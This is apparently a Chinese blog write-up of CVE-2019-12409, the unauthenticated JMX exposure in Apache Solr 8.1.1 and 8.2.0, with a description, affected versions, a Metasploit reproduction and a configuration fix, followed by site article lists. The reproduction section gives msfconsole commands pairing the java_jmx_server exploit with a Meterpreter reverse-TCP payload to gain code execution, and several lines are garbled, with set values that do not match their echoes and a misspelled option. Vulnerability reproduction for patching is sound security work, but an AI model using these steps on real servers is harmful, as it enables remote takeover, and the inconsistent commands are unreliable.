0x00 漏洞介绍

该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。
Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"选项。
如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值= 18983),
并且无需进行任何身份验证。 如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,
并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。

0x01 影响版本

Apache Solr8.1.1和8.2.0版本

0x02 漏洞危害

如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

0x03 准备工作

1) 搭建环境
安装Apache Solr 8.20
wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip


2) 启动环境

0x04 漏洞复现

1) 访问默认端口 8993 出现以下界面正面漏洞环境搭建成功


2) 攻击机操作

第一步

msf5 > use exploit/multi/misc/java_jmx_server
msf5 exploit(multi/misc/java_jmx_server) > set RHOSTS 192.168.50.33
RhOSTS => 192.168.50.33
msf5 exploit(multi/misc/java_jmx_server) > set RPORTS 18983

第二步

msf5 > use java/meterpreter/reverse_tcp
msf5 payload(java/meterpreter/reverse_tcp) > set LHOST 127.0.0.1
LHOST => 192.168.50.33
msf5 payload(java/meterpreter/reverse_tcp) > set LPORT 192.168.50.33
LPORT => 4444
msf5 exploit(multi/misc/java_jmx_server) > run

0x05 修复方案

将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。

0x06 参考链接

https://www.t00ls.net/articles-53901.html
https://github.com/jas502n/CVE-2019-12409

最新文章

  1. mysql 内连接、左连接、右连接
  2. Java并发编程学习笔记(一)——线程安全性
  3. Apache-Jemeter web性能测试工具使用
  4. poj 1286&&poj2409 Polya计数 颜色匹配
  5. 使用 array_multisort 对多维数组排序
  6. http 303 307 302 状态码理解
  7. VS2008使用技巧及快捷键大全
  8. Android模拟器avd的创建、使用和调试相关命令
  9. bzoj1055
  10. ASP.NET 定时通知
  11. String,StringBuffer与StringBuilder差异??
  12. 用VB把xls转换为xlsx
  13. eclipse中安装配置maven
  14. rust visual studio editoe & debugger
  15. Redis系列(二):Redis的数据类型及命令操作
  16. RBAC 基于权限的访问控制 serviceaccount -- clusterRole clusterRoleBinding
  17. nginx启动报错:Job for nginx.service failed. See 'systemctl status nginx.service' and 'journalctl -xn' fo
  18. 逆袭之旅DAY30.XIA.集合
  19. webbrowser 响应关闭事件
  20. HTML 转 PDF 之 wkhtmltopdf 工具精讲

热门文章

  1. 创建自定义的RouteBase实现(Creating a Custom RouteBase Implementation) |定制路由系统 |
  2. JavaScript(2)---DOM详解
  3. influxdb+Grafana+jmeter监控搭建
  4. HttpClient介绍和使用
  5. postman的简单介绍及运用
  6. VMware workstation 虚拟网络 三种上网区别
  7. Java 加密/解密Excel
  8. 十五 awk文本处理
  9. css- :before :after
  10. pdo数据操作,3-4,0724